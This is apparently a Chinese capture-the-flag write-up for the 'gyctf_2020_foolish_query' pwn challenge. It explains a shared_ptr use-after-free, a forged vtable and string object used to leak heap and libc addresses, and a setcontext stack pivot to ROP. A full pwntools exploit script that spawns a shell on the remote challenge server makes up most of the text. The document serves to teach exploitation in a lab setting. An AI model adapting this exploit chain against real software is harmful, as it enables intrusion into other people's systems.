首先,检查一下程序的保护机制
然后,我们用IDA分析一下,在Query的构造函数中,如果我们查询的name存在,则将对应的对象从容易里取出,获得其shared_ptr对象,关键在于调用了shared ptr的get函数,取得了对象的指针值,用这个指针值创建了一个新的shared_ptr对象。漏洞点在于,从一个shared_ptr对象里取得了被托管的对象的地址值创建了一个新的shared_ptr对象,因此,前面shard_ptr指针里的计数不会被传递给新创建的这个shared_ptr对象,因此这个局部的shared_ptr对象析构时,把受托管的对象也给free掉了。
因此,我们第一次query,创建了一个对象,第二次query这个对象,将使得该对象被free,第三次query将使得程序崩溃,原因是结构体里的指针由于free被破坏了。经过分析,对象的结构体是这样的
struct Node {
void *func_tables;
string name;
}
由于UAF,我们可以通过feedback申请堆,将释放的这个结构体申请回来进行伪造。首先,我们通过feedback功能,可以直接获得堆地址
那么我们把伪造的虚表存到堆里先。
_ZN9WordQueryD2Ev = 0x000000000040BF00
_ZN9WordQueryD0Ev = 0x000000000040BF50
_ZNK9WordQuery4evalERK9TextQuery = 0x000000000040BDB0
_ZNK9WordQuery3repB5cxx11Ev = 0x000000000040BE08
_Z11secertQueryv = 0x0000000000402EA9
#伪造虚表
feedback(p64(_ZN9WordQueryD2Ev) + p64(_ZN9WordQueryD0Ev) + p64(_ZNK9WordQuery4evalERK9TextQuery) + p64(_ZNK9WordQuery3repB5cxx11Ev))
这个伪造的虚表与程序原来真正的虚表是一模一样的,因为第一步我们的目的不是执行代码,我们得伪造Node结构体里的string对象,进而能够读取任意地址,从而泄露libc地址。
basic_query('a'*0x8)
#UAF
basic_query('a'*0x8)
feedback(p64(fake_vtable_addr) + p64(heap_addr - 0x30) + p64(0x100) + 'a'*0x8) #remote
如上,我们这一步主要是控制了string对象,
因为每次query,都会打印出name,因此控制name,我们可以读取堆里任意地址的数据,我们在后面再通过feedback功能,由于feedback里string对象的扩充,会得到unsorted bin,从而,我们进行query的时候可以泄露unsorted bin里的数据。我们只需要控制string对象里的length成员,即可控制数据泄露的长度。
#制造一个unsorted bin
feedback('b'*0x200)
#泄露出数据
basic_query('a'*0x8)
result = sh.recvuntil('bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb',drop = True)
main_arena_88 = u64(result[-8:])
泄露出数据以后,由于找不到合适的one_gadget,因此,我们只能做栈迁移。通过调试,我们发现,在函数虚表里的第三个函数调用时,寄存器状态如下
其中rax指向的就是这个对象,而[rax]指向的就是虚表。我们找到一个合适的gadget
mov rdi, qword ptr [rax] ;
mov rax, qword ptr [rdi + 0x38] ;
call qword ptr [rax + 0x20]
因为虚表指针我们可以任意控制,所以rdi的值,我们也可以任意控制,从而rax也可以控制,我们再结合setcontext,即可完成栈迁移,然后做ROP。因此,第二次虚表伪造,我们将第三个函数指针伪造为这个gadget的地址。
#coding:utf8
from pwn import *
context.log_level = 'debug'
#sh = process('./gyctf_2020_foolish_query',env = {'LD_PRELOAD':'./libc-2.23.so'})
#sh = process('./gyctf_2020_foolish_query')
sh = remote('node3.buuoj.cn',29002)
#sh = remote('127.0.0.1',8666)
libc = ELF('./libc-2.23.so')
malloc_hook_s = libc.symbols['__malloc_hook']
def basic_query(keyword):
sh.sendlineafter('6. Exit','1')
sh.sendlineafter('Keyword:',keyword)
def feedback(content):
sh.sendlineafter('6. Exit','5')
sh.sendlineafter('You want to feedback huh?',content)
_ZN9WordQueryD2Ev = 0x000000000040BF00
_ZN9WordQueryD0Ev = 0x000000000040BF50
_ZNK9WordQuery4evalERK9TextQuery = 0x000000000040BDB0
_ZNK9WordQuery3repB5cxx11Ev = 0x000000000040BE08
_Z11secertQueryv = 0x0000000000402EA9
#伪造虚表
feedback(p64(_ZN9WordQueryD2Ev) + p64(_ZN9WordQueryD0Ev) + p64(_ZNK9WordQuery4evalERK9TextQuery) + p64(_ZNK9WordQuery3repB5cxx11Ev))
sh.recvuntil('reward: ')
heap_addr = int(sh.recvuntil('\n',drop = True),16)
fake_vtable_addr = heap_addr + 0x50
print 'fake_vtable_addr=',hex(fake_vtable_addr)
basic_query('a'*0x8)
#UAF
basic_query('a'*0x8)
feedback(p64(fake_vtable_addr) + p64(heap_addr - 0x30) + p64(0x100) + 'a'*0x8) #remote
#制造一个unsorted bin
feedback('b'*0x200)
#泄露出数据
basic_query('a'*0x8)
result = sh.recvuntil('bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb',drop = True)
main_arena_88 = u64(result[-8:])
malloc_hook_addr = (main_arena_88 & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)
libc_base = malloc_hook_addr - malloc_hook_s
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + libc.search('/bin/sh').next()
pop_rdi = libc_base + 0x0000000000021102
#mov rdi, qword ptr [rax] ; mov rax, qword ptr [rdi + 0x38] ; call qword ptr [rax + 0x20]
trans_reg = libc_base + 0x0000000000136aa3
setcontext_x = libc_base + libc.sym['setcontext'] + 0x35
print 'libc_base=',hex(libc_base)
print 'setcontext_x=',hex(setcontext_x)
print 'system_addr=',hex(system_addr)
#伪造虚表
payload = 'v'*0x10 + p64(trans_reg) + p64(_ZNK9WordQuery3repB5cxx11Ev)
payload = payload.ljust(0x38,'c')
payload += p64(heap_addr + 0x32510)
payload += p64(setcontext_x)
rop = p64(binsh_addr) + p64(system_addr)
payload += rop
payload = payload.ljust(0xA0,'c')
payload += p64(heap_addr + 0x32538)
payload += p64(pop_rdi)
feedback(payload)
fake_vtable_addr = heap_addr + 0x324F0
feedback(p64(fake_vtable_addr) + p64(heap_addr + 0x98) + p64(0x8) + 'a'*0x8)
#getshell
basic_query('a'*0x8)
sh.interactive()